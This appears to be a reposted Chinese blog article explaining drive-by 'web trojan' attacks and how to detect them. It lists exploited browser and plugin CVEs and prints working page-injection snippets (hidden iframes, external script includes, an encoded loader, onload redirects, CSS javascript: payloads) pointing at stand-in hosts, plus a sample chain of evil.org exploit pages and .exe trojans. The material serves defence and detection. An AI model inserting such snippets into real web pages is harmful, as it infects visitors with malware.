大家好,又见面了,我是你们的朋友全栈君。
网马的本质是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件、插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马)。 网站挂马是黑客植入木马的一种主要手段。黑客通过入侵或者其他方式控制了网站的权限,在网站的Web页面中插入网马,用户在访问被挂马的网站时也会访问黑客构造的网马,网马在被用户浏览器访问时就会利用浏览器或者相关插件的漏洞,下载并执行恶意软件。其本质是利用浏览器和浏览器控件、插件的漏洞,通过触发漏洞获取到程序的执行权限,执行黑客精心构造的shellcode。
IE: MS06-014:Microsoft 数据访问组件 (MDAC)功能中的漏洞可能允许执行代码
MS06-055:矢量标记语言可能允许远程执行代码漏洞
MS07-017:ANI光标漏洞
MS09-032:MicrosoftDirectShow MPEG2TuneRequest组件栈溢出漏洞
MS10-018:Microsoft IE畸形对象操作内存破坏漏洞
MS11-002:Microsoft DataAccess组件漏洞
MS11-003:Microsoft InternetExplorer内存远程代码执行漏洞
PDF: CVE-2008-2992:Adobe Readerutil.printf() JavaScript函数栈溢出漏洞
CVE-2009-0927:Adobe Acrobat和ReaderCollab getIcon() JavaScript方式栈溢出漏洞
SWF: CVE-2010-3653:Adobe ShockwavePlayer Director文件rcsL块解析内存破坏漏洞
CVE-2011-0609:Adobe Flash PlayerCVE-2011-0609 ‘SWF’文件远程内存破坏漏洞
JAVA: CVE-2010-1423:Java开发工具包URL参数远程代码执行漏洞
CVE-2010-4452:Oracle Java”Applet2ClassLoader”类未签名Applet远程代码执行漏洞
CVE-2010-4465:Oracle Java在处理剪贴板中的数据写入和读取的控制上存在远程代码执行漏洞
CVE-2012-4681:Oracle Java RuntimeEnvironment远程代码执行漏洞
黑客在获取网站的权限以后,就会将自己的网页木马通过脚本引入的方式嵌入到网站的页面中,也就是执行相应的挂马操作。挂马操作可以有多种方式实现,下面我们对一些常见的挂马方式进行描述。
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>
该段代码会在网页中创建一个宽度和高度都为0的框架,并在框架中访问http://www.trojan.com/页面,因为高度和宽度都为0,所以在访问网页时,从网页表面是无法通过肉眼看到这个框架的,只能通过网页源码分析或抓包的方式查看到相应的数据信息。
<script src=http://www.trojan.com/1.js></script>
该段代码可以是被黑客恶意插入到网页中的,其中1.js文件中被嵌入恶意代码。同时黑客也可能恶意修改网站文件中的JS文件代码从而被挂上恶意代码,一般来讲,那些被全站引用的JS代码最容易被黑客挂马。
<script language="JScript.Encode">#@~^OAAAAA==[Km;s+ YRSDbO+vBw@!'/w^MkwD~/Mm'8 %/@*-@!-&-dw1DrwD@*B*iAxIAAA==^#~@</script>
该段代码使用了微软的MS Encode加密方式进行加密处理,解密后的结果是:
<script language="javascript">docume-t.write('\<\s\cript src=1.js>\<\/\s\cript>');</script>
其中1.js文件可以是挂马文件,黑客通过加密代码的方式隐藏了该信息。
<body onload="window.location=' http://www.trojan.com/';"></body>
当用户访问挂有以上代码的网页时,页面就会自动跳转去执行http://www.trojan.com/的页面,从而导致挂在http://www.trojan.com/的木马执行。同样,黑客也会将网马执行代码写入到某一个函数中,然后通过body标签的onload去执行相应的函数,进而实现网马代码的执行。
<script>top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src=" http://www.trojan.com/"></iframe>';</script>
黑客将以上Javascript代码放在一些比较隐蔽的位置,当页面执行时,会通过DOM操作的方式创建框架访问http://www.trojan.com/,从而实现恶意代码的执行。
body {
background-image: url('javascript:document.write("<script src= http://www.trojan.com/1.js></script>")')
}
黑客可以利用以上CSS代码来实现挂马,当网页代码执行到body部分时,会根据CSS定义的背景图片地址进行访问,而访问的内容是通过javascript伪协议的方式执行相应的恶意代码。
从网页挂马攻击概述中我们了解到,网页木马利用的是浏览器或者是第三方应用程序的漏洞,而且网页木马对存在漏洞的应用程序的版本有严格的要求,只有存在漏洞的版本才可以成功执行漏洞利用程序。随着越来越多的用户安装了安全防护软件,大多数的网马都会在执行过程中被拦截,进而暴漏了黑客挂马的地址和网马代码。因此,黑客在攻击浏览者客户端环境前,会对客户端环境进行判断,判断客户端环境是否符合网页木马执行成功的条件,是否存在可能会拦截网马的安全应用软件,进而提高网马执行的成功率且保护网马代码不被安全厂商发现。针对网马执行条件的判断,主要包括以下一些常见的执行条件判断。
从上述的挂马方式和执行条件判断中我们了解到,黑客实施挂马攻击时,想尽可能地隐藏自己的挂马信息,在保证网马执行高成功率的同时,尽量不被用户或安全防护软件发现,那么在挂马的位置、执行条件判断之后,就是实现对网页木马代码的隐藏以及网马下载的下载器或木马文件的隐藏,也就是我们接下来要进行描述说明的网马代码的加密与解密。针对网马的不同形式,我们将网马分为脚本网马、PDF文件网马、Flash文件网马和Java文件网马形式。
网站挂马的检测主要分为两类:
静态检测主要是对网站页面的源代码进行检测,首先通过分析页面提取出多有引入的URL,然后再通过爬虫爬取这些网页的源码,通过JS代码和恶意的shellcode特征进行匹配,判断该网站是否被挂马。
需要定期维护特征库。
对于PDF、FLASH和Java插件漏洞的挂马需要进行专门分析。
现在的网马都不会简单的iframe引入,一般会使用混淆的语句或者比较复杂的javascript动态生成网马地址,试图绕过检测,比如:
document.write(“<ifra”+“mesrc=http://afh.2288.org/55/208ay.htm width=100height=0></iframe>”);
主要的混淆方法有:
shellcode可能经过多次加密和变形,所以网马检测时也需要对shellcode进行多次解密。 检测的方法主要是通过shellcode的特征进行判断,如shellcode最终会下载恶意软件,所以会包含恶意软件的URL地址,或者常见的利用方式如HeapSpray会插入大量的NOP指令,即会包含0x90关键字。
简单事例: 某个网站的挂马情况如下:
[root]hxxp://normal.website.com/xx.php (被挂马的网站页面)
[iframe] hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018网马)
[iframe] hxxp://evil.org:987/wm/ms11013.htm (利用MS10-013网马)
[trojan] hxxp://evil.org:987/a.exe (系统木马)
[iframe]hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018网马)
[trojan] hxxp://evil.org:987/b.exe (系统木马)
静态分析会通过页面分析提取出所有iframe、JavaScript、CSS以及各种变形的URL,如上,静态检测首先会提取出以下3个URL:
hxxp://normal.website.com/xx.php
hxxp://evil.org:987/wm/ms10018.htm
hxxp://evil.org:987/wm/ms11013.htm
然后会调用爬虫爬取这些页面的源码,开始分析页面源码。
通过分析发现有2个页面:
hxxp://evil.org:987/wm/ms10018.htm hxxp://evil.org:987/wm/ms11013.htm
存在恶意代码特征:
发现Shellcode加载木马地址
hxxp://evil.org:987/a.exe hxxp://evil.org:987/b.exe
和一些Shellcode的通过特征字符,
判定为网马。
动态检测原理:
打开网站后,判断是否有恶意软件下载并执行,如果有则认为网站被挂马。
动态监测的核心技术是如何判断网马下载执行的程序是否为恶意软件,这和很多杀毒软件的检测原理相似,主要是针对恶意软件的特征,比如首先匹配下载软件内容的MD5是否在黑名单内,然后通过监控程序行为(如文件操作、进程变化、网络监听)来判断是否为木马。
具体的技术实现一般是通过Hook一些特定的系统函数,查看恶意软件是否有调用这些敏感的系统函数,进行判断,判断完成后直接进行拦截,防止木马的执行。
除去以上整理的各个漏洞的特征,许多样本均会对脚本代码进行加密或编码以逃避检测,通常为针对漏洞构造的缓冲区溢出(shellcode)攻击代码。这些经过混淆的字符串通常包含大量无意义的字符,但总包含一个恶意代码要利用的URL,具体表现形式为:unicode编码(%u),16进制数(\x),用整形数组表示字符串对应的ASCII码值等。代码中还会有大量的字符串操作,如:replace(),String.fromCharCode(),substr(),substring(),split()等。其中最为常见的可作为特征的是unicode编码以及js中用于解码的函数unescape()。 综合以上信息,可根据是否包含COM组件号这类原子特征将规则划分为两大类。包含组件号且利用了字符串混淆特征的代码即可判定为恶意代码,如果组件号为收集到的漏洞组件号,即可确定挂马类型。如果仅包含字符串混淆特征,则需要结合整理出的字符特征作为规则。整理所得的规则如下:
基于统计学习的挂马网页实时检测 王涛 余顺争(决策树)
网页挂马是近几年来黑客的主流攻击方式之一,在2008年到2010年间,网页挂马攻击更是成为了黑客最主要的攻击手段。根据瑞星云安全监测数据显示,2008年到2010年间,客户端受到恶意网马的年攻击次数达到千万级别。虽然近两年来,网络钓鱼攻击已经在数量上超越了网页挂马攻击,但是网页挂马攻击所带来的危害依然巨大,不仅对网站的安全运行造成威胁,对客户端用户来说,网马攻击将直接造成游戏账号密码/银行账号密码被窃取、敏感信息泄露等严重影响。因此,防范网页木马免受恶意代码攻击也是网民用户需要掌握的安全防护方法之一。针对网页挂马攻击的防范,可以从以下几方面做起。
浅谈互联网挂马与检测 https://aq.163.com/module/pedia/article-00058.html
网页挂马攻击手段全解析 http://www.rising.com.cn/newsletter/news/2012-09-26/12404.html
Python网页注入挂马 https://cloud.tencent.com/developer/article/1097915
专利:一种网页挂马检测方法及系统 https://patents.google.com/patent/WO2013026320A1
专利:基于HTTP流量分析的挂马网站检测方法 https://patents.google.com/patent/CN102158499A/zh
一种基于混淆机制的网页木马检测模型的研究与实现 http://netinfo-security.org/CN/abstract/abstract5958.shtml
基于内嵌链接分析的网页挂马检测技术 徐欣如 龚俭 杨望
基于统计学习的挂马网页实时检测 王涛 余顺争
网页木马机理与防御技术 张慧琳 邹维 韩心慧
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187552.html原文链接:https://javaforall.cn